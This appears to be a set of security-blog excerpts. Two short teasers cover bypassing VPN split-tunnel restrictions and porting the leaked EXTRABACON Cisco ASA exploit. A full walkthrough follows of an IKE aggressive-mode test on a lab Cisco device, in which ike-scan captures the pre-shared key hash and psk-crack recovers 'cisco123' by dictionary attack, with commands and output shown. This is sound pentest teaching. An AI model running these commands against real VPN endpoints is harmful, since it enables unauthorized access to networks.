Some VPNs allow split tunneling, however, Cisco AnyConnect and many other solutions offer a way for network administrators to forbid this. When that happens, connecting to the VPN seals off the client from the rest of the LAN. As it turns out, breaking this seal is not that hard, which can be useful for special cases like performing pentests over a VPN designed for average users.
In the last couple of days we took a closer look at the supposed NSA exploit EXTRABACON, leaked by Shadow Brokers. As an initial analysis of XORcat concluded, the code is capable of bypassing authentication of Cisco ASA devices after exploiting a memory corruption vulnerability in the SNMP service. We managed analyze and test the code in our lab and even add support for version 9.2(4) (that created quite bit of a hype :). While we don’t plan to release the upgraded code until an official patch is available for all affected versions, in this post we try to give a detailed description of the porting process: what the prerequisites are and how much effort is required to extend its capabilities. We also hope that this summary will serve as a good resource for those who want to get started with researching Cisco ASA.
During a VPN testing project we looked a bit deeper into the security vulnerability caused by ISAKMP aggressive mode. To put things simple, the important fact for us is that assuming pre-shared key authentication and possession of a valid userid makes it possible to obtain the valid encrypted PSK. During the tests I used Cisco network equipment and the Cisco VPN Configuration Guide. First I discovered the open ISAKMP VPN port on the target system:
Initiating Service scan at 11:11 Scanning 1 service on 192.168.2.5 Completed Service scan at 11:13, 82.57s elapsed (1 service on 1 host) NSE: Script scanning 192.168.2.5. Initiating NSE at 11:13 Completed NSE at 11:13, 30.08s elapsed Nmap scan report for 192.168.2.5 Host is up (0.0035s latency). PORT STATE SERVICE VERSION 500/udp open isakmp? Read data files from: /usr/local/bin/../share/nmap Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 113.26 seconds Raw packets sent: 5 (372B) | Rcvd: 2 (272B)
I created a short script to collect the cryptographic settings of the connection:
root@s2crew:~/bin# ./ike-crypt-transforms.sh 192.168.2.5 Ending ike-scan 1.9: 1 hosts scanned in 0.041 seconds (24.11 hosts/sec). 1 returned handshake; 0 returned notify Supported: 5,2,1,2 Ending ike-scan 1.9: 1 hosts scanned in 0.041 seconds (24.37 hosts/sec). 1 returned handshake; 0 returned notify Supported: 5,2,65001,2
The settings supported by the CISCO device can be seen below:
Encryption algorithms:: Triple-DES Hash algorithms:: MD5 Authentication methods: Pre-Shared Key/Hybrid Mode and XAUTH Diffie-Hellman groups: 2
I used the ikeprobe.exe application to detect whether the service was vulnerable. The result of the tests showed the target environment was not vulnerable:
root@s2crew:~/bin# wine ikeprobe.exe 192.168.2.5 IKEProbe 0.1beta (c) 2003 Michael Thumann (www.ernw.de) Portions Copyright (c) 2003 Cipherica Labs (www.cipherica.com) Read license-cipherica.txt for LibIKE License Information IKE Aggressive Mode PSK Vulnerability Scanner (Bugtraq ID 7423) Supported Attributes Ciphers : DES, 3DES, AES-128, CAST Hashes : MD5, SHA1 Diffie Hellman Groups: DH Groups 1,2 and 5 IKE Proposal for Peer: 192.168.2.5 Aggressive Mode activated ... . . . Attribute Settings: Cipher CAST Hash MD5 Diffie Hellman Group 5 8.251 3: ph1_initiated(00443ee0, 00449178) 8.283 3: << ph1 (00443ee0, 340) System not vulnerable, Attribute mismatch or not authorized Peer.
The above statement was not true. Fortunately I knew a valid ID for the VPN connection that helped me to perform the attack:
root@s2crew:~/bin# ike-scan -A --trans=5,2,1,2 --id=vpnclient -Ppsk.txt 192.168.2.5 Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) 192.168.2.5 Aggressive Mode Handshake returned HDR=(CKY-R=576568d95df504bb) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=12f5f28c457168a9702d9fe274cc0100 (Cisco Unity) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) VID=a2a2cfc45df404bbeb2e7a5d49fd39fd VID=09002689dfd6b712 (XAUTH) KeyExchange(128 bytes) ID(Type=ID_IPV4_ADDR, Value=192.168.2.5) Nonce(20 bytes) Hash(20 bytes) Ending ike-scan 1.9: 1 hosts scanned in 0.047 seconds (21.07 hosts/sec). 1 returned handshake; 0 returned notify
I performed a dictionary attack against the PSK hash:
root@s2crew:~/bin# psk-crack -d /root/depth4.dic psk.txt Starting psk-crack [ike-scan 1.9] (http://www.nta-monitor.com/tools/ike-scan/) Running in dictionary cracking mode key "cisco123" matches SHA1 hash 07746c280f597b19b274499f771d0589ad26fce8 Ending psk-crack: 280320 iterations in 1.730 seconds (161992.45 iterations/sec)
Below is the part of the VPN configuration that made the device vulnerable:
crypto isakmp policy 3 encr 3des authentication pre-share group 2 ! crypto isakmp client configuration group vpnclient key cisco123 dns 10.10.10.10 wins 10.10.10.20 domain silentsignal.eu pool ippool acl 101 ! ! crypto ipsec transform-set myset esp-3des esp-md5-hmac !
When we perform a security audit, we have to take the power and limits of the tools used for testing into account. A good tester never trusts the result of any security testing tool blindly, and understands the issue under investigation.